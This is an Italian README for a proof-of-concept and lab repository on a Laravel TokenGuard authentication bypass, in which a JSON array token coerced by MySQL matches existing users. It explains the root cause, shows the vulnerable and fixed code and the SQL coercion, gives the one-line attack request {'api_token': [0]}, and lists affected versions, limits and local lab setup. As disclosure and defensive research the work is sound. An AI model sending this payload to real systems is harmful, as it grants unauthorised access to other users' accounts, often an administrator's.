PoC e lab per CVE-2026-114509, un bypass dell'autenticazione di Laravel TokenGuard tramite iniezione di token in array JSON e coercizione dei tipi di MySQL, con indicazioni per il rilevamento e la mitigazione.
SOLO PER SCOPI EDUCATIVI E TEST DI SICUREZZA AUTORIZZATI
Questo repository fa parte di uno studio personale di ricerca sulla sicurezza. Tutto il codice, la documentazione e gli strumenti sono forniti strettamente a scopo educativo, di ricerca difensiva sulla sicurezza e di penetration testing autorizzato nel perimetro consentito. Non utilizzare nessuno di questi materiali contro sistemi di cui non sei proprietario o per i quali non disponi di esplicita autorizzazione scritta ai test. L'accesso non autorizzato a sistemi informatici è illegale ai sensi del CFAA (USA), del Computer Misuse Act (Regno Unito) e di leggi equivalenti in tutto il mondo. L'autore non si assume alcuna responsabilità per usi impropri.
Un bypass critico dell'autenticazione (CVSS 9.2) nel driver di guard legacy token
di Laravel. Un attaccante non autenticato può ottenere accesso a qualsiasi endpoint API
protetto dal token guard — con una singola richiesta HTTP, senza
credenziali valide e senza brute force.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-114509 |
| Advisory | GHSA-f9x3-7vq9-cph6 |
| CVSS | 9.2 (v4.0, Critico) |
| CWE | CWE-287 (Autenticazione impropria), CWE-1287 |
| Pubblicato | 2026-10-19 |
| Commit di correzione | 9b21ce0 |
| Corretto in | 11.56.1, 12.68.0, 13.29.0 |
| Affette | Ogni versione di Laravel con TokenGuard (5.0–13.x precedenti alle patch) |
L'attacco concatena tre comportamenti che, singolarmente, sono innocui:
$request->input() di Laravel accetta qualsiasi tipo JSON. Inviando
{"api_token": [0]} si consegna un array PHP [0] invece di una stringa.
TokenGuard::user() verifica ! empty($token) prima di passare a Eloquent.
Un array non vuoto supera questo controllo — ! empty([0]) è true.
// VULNERABLE (all versions before the fix)
if (! empty($token)) { // [0] passes this
$user = $this->provider->retrieveByCredentials([
'api_token' => $token, // array [0] reaches Eloquent
]);
}
// FIXED (11.56.1 / 12.68.0 / 13.29.0)
if (is_string($token) && ! empty($token)) { // [0] rejected here
EloquentUserProvider rileva un valore di tipo array e costruisce WHERE api_token IN (0).
MySQL converte quindi ogni token VARCHAR in un intero per il confronto. Qualsiasi token
che inizia con una lettera (a-z, A-Z) viene convertito in 0:
SELECT CAST('admin_secret_token_abc123' AS SIGNED); -- Returns: 0
SELECT * FROM users WHERE api_token IN (0); -- Matches ALL such tokens
Viene restituito il primo utente corrispondente — spesso l'admin (primo utente creato).
Attacker Laravel + MySQL
│ │
│ POST /api/me │
│ {"api_token": [0]} │
│ ──────────────────────────────────►│
│ │ getTokenForRequest() → [0]
│ │ ! empty([0]) → true ✓
│ │ retrieveByCredentials(['api_token' => [0]])
│ │ → WHERE api_token IN (0)
│ │ → MySQL casts 'admin_tok...' to 0
│ │ → MATCH → returns Admin user
│ 200 OK │
│ {"id":1,"name":"Admin",...} │
│ ◄──────────────────────────────────│
WHERE api_token IN (0) genera
ERROR: operator does not exist: character varying = integer| Laravel | Token guard nello skeleton? | Hash | Patch |
|---|---|---|---|
| 5.0–5.8 | SÌ — 'driver' => 'token' fornito per impostazione predefinita | No | EOL |
| 6.x | SÌ | 'hash' => false | EOL |
| 7.x | SÌ — ultima versione con token guard come predefinito | 'hash' => false | EOL |
| 8.x | NO — rimosso dallo skeleton, Sanctum è diventato il predefinito | N/A | EOL |
| 9.x | NO — deve essere aggiunto manualmente | N/A | EOL |
| 10.x | NO — deve essere aggiunto manualmente | N/A | EOL |
| 11.x | NO — deve essere aggiunto manualmente | N/A | v11.56.1 |
| 12.x | NO — deve essere aggiunto manualmente | N/A | v12.68.0 |
| 13.x | NO — deve essere aggiunto manualmente | N/A | v13.29.0 |
config/auth.php non viene sovrascritto
da composer update, quindi la vecchia configurazione del token guard sopravvive silenziosamenteAuthorization: Bearer
(sempre una stringa), esegue l'hash con SHA-256 (genera TypeError sugli array),
utilizza una tabella personal_access_tokens separatahash => true su PHP 8+ — hash('sha256', [0])
genera TypeError (ma PHP 7 restituisce silenziosamente, quindi è comunque vulnerabile)| Vincolo | Dettaglio |
|---|---|
| Database | Solo MySQL o MariaDB — PostgreSQL/SQLite non interessati |
| Driver del guard | Solo token — Sanctum/Passport non interessati |
| Trasmissione | Body JSON (POST/PUT/PATCH) — la query string invia la stringa "0" e non l'intero 0 |
| Selezione utente | L'attaccante ottiene il primo utente corrispondente, non può scegliere quale |
hash => true | Mitiga su PHP 8+ (TypeError), non su PHP 7 |
| Rilevamento | Valori array nel campo api_token sono anomali e rilevabili nei log |
laravel-tokenguard-bypass/
├── README.md ← This file
├── CVE-2026-114509_poc.py ← PoC script
└── lab/
├── docker-compose.yml ← MySQL 8.0 container
└── app/ ← Laravel 12.67.0 (vulnerable)
├── config/auth.php ← Token guard configured
├── routes/api.php ← Protected API endpoints
├── database/seeders/ ← 4 test users with tokens
└── database/migrations/ ← api_token column added
# 1. Start MySQL
cd lab
docker compose up -d
# Wait for healthcheck (~15s)
# 2. Setup Laravel
cd app
composer install
php artisan migrate:fresh --seed
# 3. Start the dev server
php -S 127.0.0.1:8080 -t public public/index.php &
# 4. Verify
curl -s http://127.0.0.1:8080/api/health
# → {"status":"ok"}